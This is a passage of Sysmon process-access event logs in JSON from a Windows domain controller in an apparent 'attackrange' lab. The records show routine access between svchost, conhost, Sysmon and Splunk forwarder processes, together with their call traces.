C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4246,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4247,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4248,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4249,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4250,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4251,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4252,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.053\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4139-5F2D-0000-00102C060600}\r\nTargetProcessId: 3612\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.053","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4139-5F2D-0000-00102C060600}","TargetProcessId":"3612","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:55:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4253,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:55:37.209\r\nSourceProcessGUID: {90617006-4139-5F2D-0000-00102C060600}\r\nSourceProcessId: 3612\r\nSourceThreadId: 4492\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+5b88c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+8e7d70|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:55:37.209","SourceProcessGUID":"{90617006-4139-5F2D-0000-00102C060600}","SourceProcessId":"3612","SourceThreadId":"4492","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6025c5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+6020f6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe+59e67|C:\\Program 